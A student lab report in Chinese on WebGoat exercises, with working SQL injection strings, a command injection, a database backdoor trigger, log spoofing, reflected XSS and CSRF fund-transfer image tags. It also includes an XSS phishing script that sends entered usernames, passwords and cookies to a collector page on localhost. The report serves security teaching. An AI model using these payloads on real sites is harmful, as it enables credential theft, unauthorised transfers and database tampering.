web安全基础实践

实验后回答问题

  • (1)SQL注入攻击原理,如何防御

    原理:指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    防御:在设计程序时,应该设计成不易篡改的或者说能有主动判断合法性的代码,并且将存有敏感信息的数据库放在防火墙内部。

  • (2)XSS攻击的原理,如何防御

    原理:是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。  

    防御:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

  • (3)CSRF攻击原理,如何防御

    原理:一种对网站的恶意利用,CSRF可以劫持会话和cookie来冒名进行一些操作。

    防御:对web应用时进行设置,不长时间保存cookie,不访问不良网站。

实验感想

网络世界太危险,赶紧回火星。

实践过程记录

webgoat

  • 使用命令java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat。
  • 在浏览器输入localhost:8080/WebGoat,直接点击登录,进去。

SQL字符串注入(String SQL Injection)

一个可以查看信用卡号的表单,当使用SQL注入(在name里输入一个永真式a or 1)时,则可以让所有的信用卡号都看得见。

数字型SQL注入(Numeric SQL Injection)

  1. 想继续用SQL注入来获取信息,然而没有输入键,就只好用kali中一个从未用过的软件(BurpSuite)来通过抓包获取数据并修改。
  2. 步骤:在BurpSuite添加一个新端口8888——设置浏览器的代理——回到webgoat,点击GO——又回到burpsuite:修改station值从为101 为 101 or 1=1,点击GO——成功。





命令注入(Command Injection)

  • 还是使用burpsuite注入:进行包分析,然后发现特征cat,注入命令AccessControlMatrix.help"&&ifconfig"(仅仅加一个&&ifconfig就行),go一下,成功!





LAB:stage 1 SQL Injection(字符串注入)

  • 与上面的字符串注入不同,用户名无法输入,所以在密码上花功夫。还是利用burpsuite代理注入。在password = ' '这里进行注入or 1=1 --这个永真式,无论什么用户名,都统统通过。

  • 登录成功!

Database Backdoors

  1. 在userid中输入101 or 1=1;--,通过。

  2. 理解题意:使用SQL语句实现:在myBackDoor表中一旦添加新用户,那么就在用户表里将新用户的邮箱改为题目固定的邮箱(暗自想:黑客“偷钱”好简单,网络安全很重要)。so,插入SQL语句就可以啦:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid;

    成功:

log Spoofing

这种攻击是一种欺骗日志的方法,操作很简单:在用户名中添加smith%0d%0aLogin Succeeded,提交就成功啦。

跨站脚本钓鱼攻击(Phishing with XSS)

  • 方法操作:在/var/www/html下编辑imgsrc.php(即一个钓鱼网站)。保存之后,在输入框中注入一段前端代码:

      <script>
    function hack(){
    str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;
    str2="http://127.0.0.1:5320/imgsrc.php?" + str; XSSImage=new Image;
    XSSImage.src=str2;
    alert(str2);
    }
    </script> </form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
    Enter Username:<br><input type="text" name="user"><br>
    Enter Password:<br><input type="password" name = "pass"><br>
    <input type="submit" name="submit" value="Login" onclick="hack()"><br>
    </form><br><br><HR>
  • 然后将提示用户输入账号口令从而完成钓鱼攻击!

  • 成功获取信息,完成钓鱼攻击:

Reflected XSS Attacks

  • 方法操作:在文本框中插入<script>alert("5222")</script>,当点击提交时,会弹出对话框。

  • 感觉这个攻击方法没有上面那个实用,虽然现在还没有想明白它可以用来干什么,但是高端玩家应该是可以利用起来的。

Cross Site Request Forgery(CSRF)

  • 实际操作:我们在message框中输入一串代码:<img src="http://localhost:8080/WebGoat/attack?Screen=484&menu=900&transferFunds=4000"/>
  • 结果:在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

  • 方法操作:在massage中输入命令:

      <img src='attack?Screen=275&menu=900&transferFunds=5000'>
    
      <img src='attack?Screen=275&menu=900&transferFunds=CIONFIRM'>
  • 成功!

20145222黄亚奇《网络对抗》web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 20145222 黄亚奇 《网络对抗》Exp8 Web基础

    20145222 黄亚奇 <网络对抗>Exp8 Web基础 实践具体要求 (1).Web前端HTML(1分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法 ...

  3. 20145222黄亚奇《网络对抗》- shellcode注入&Return-to-libc攻击深入

    20145222黄亚奇<网络对抗>- shellcode注入&Return-to-libc攻击深入 shellcode注入实践过程

  4. 20145222黄亚奇《Java程序设计》课程总结

    20145222黄亚奇<JAVA程序设计>课程总结 每周读书笔记链接汇总 第一周读书笔记 第二周读书笔记 第三周读书笔记 第四周读书笔记 第五周读书笔记 第六周读书笔记 第七周读书笔记 第 ...

  5. 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结

    20145222<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...

  6. 20145222黄亚奇《网络对抗》MSF基础应用

    实践目标 掌握metasploit的基本应用方式. 具体需要完成(1)ms08_067;(2)ms11_050:(3)Adobe(4)成功应用任何一个辅助模块. 实验内容 掌握metasploit的基 ...

  7. 20145222黄亚奇 《网络对抗技术》 MAL_逆向与Bof基础

    学习目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有 ...

  8. 20145222黄亚奇《Java程序设计》实验五实验报告

    20145222 <Java程序设计>实验五实验报告 实验内容 1.掌握Socket程序的编写: 2.掌握密码技术的使用: 3.设计安全传输系统. 实验步骤 本次实验我的结对编程对象是20 ...

  9. 20145222黄亚奇《Java程序设计》第10周学习总结

    20145222 <Java程序设计>第10周学习总结 学习总结 网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据.程序员所作的事情就是把数据发送到指定的位置,或者接 ...

随机推荐

  1. 安装ChemOffice 15.1就是这么简单

    化学绘图软件ChemDraw出了最新版ChemOffice 15.1了,其下有三个不同组件,其中ChemDraw15.1 Pro使用范围最广.当我们下载完软件后就需要对其进行安装,一般按照流程来就没有 ...

  2. 一次Tomcat6.0.33版本号与6.0.44版本号差异所引发的问题

    前序(公司应用为Web应用, 部署serverLinux + Nginx + Tomcat ) 一天收到公司报警邮件,显示个别机器方法调用严重超时,寻常都是在100ms以内响应的方法,突然某段时间响应 ...

  3. box-sizing与calc()与flex

    1,Syntax: /* Keyword values */ box-sizing: content-box; box-sizing: border-box; /* Global values */ ...

  4. A1231. Crash的数字表格(贾志鹏)

    A1231. Crash的数字表格(贾志鹏) 时间限制:2.0s   内存限制:512.0MB   总提交次数:410   AC次数:154   平均分:63.93   将本题分享到:        ...

  5. js如何去除多个cookie?

    转自:https://zhidao.baidu.com/question/211006012.html :1:设置cookie 最简单的就是:document.cookie="user=aa ...

  6. etcd跨机房部署方案

    使用ETCD做为元数据方便快捷,但是谈到跨机房灾备可能就迷糊了,我们在做节日灾备的时候同样遇到了问题, 通过查阅官方文档找到了解决方案,官方提供make-mirror方法,提供数据镜像服务 注意: m ...

  7. JS全选checkbox

    <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/ ...

  8. django-应用中和amdin使用富文本编辑器kindeditor

    文章描述.新闻详情和产品介绍等,都需要大量的文字描述信息或图片.视频.文字的编辑等,这个时候我们就需要介绍第三方富文本编辑器. 今天介绍的是django中绑定和应用kindeditor编辑器: 效果如 ...

  9. node.js---sails项目开发(4)---配置MongoDB数据库连接

    1.安装sails对mongo的依赖 npm install sails-mongo --save 2. 配置mongo连接 修改config/connections.js: module.expor ...

  10. Android学习十---Android Camera

    Android camera用来拍照和拍摄视频的先看一下最后实现的效果图             最后的效果图 一.准备 在你的应用程序上使用android拍照设备,需要考虑以下几个方面 1. 是否是 ...